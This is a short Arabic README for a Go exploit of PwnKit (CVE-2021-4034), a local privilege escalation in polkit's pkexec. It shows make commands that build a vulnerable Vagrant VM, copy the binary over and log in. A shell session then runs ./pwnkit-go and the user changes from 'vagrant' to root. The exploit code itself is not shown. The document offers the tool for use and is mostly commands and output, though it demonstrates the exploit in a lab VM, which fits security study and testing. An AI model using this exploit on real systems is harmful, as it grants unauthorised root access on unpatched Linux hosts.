
استغلال لثغرة PwnKit، CVE-2021-4034، مكتوب بلغة Go
هذا استغلال (Exploit) يعمل لثغرة pwnkit، والمعروفة بـ CVE-2021-4034، مكتوب بلغة Go
جرّبه:
# create a vulnerable vagrant machine
$ make vm
...
# build the binary and scp it to the vagrant box
$ make scp
# ssh onto the vagrant box
$ make ssh
# The default user is "vagrant"
vagrant@ubuntu-focal:~$ whoami
vagrant
# execute exploit
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root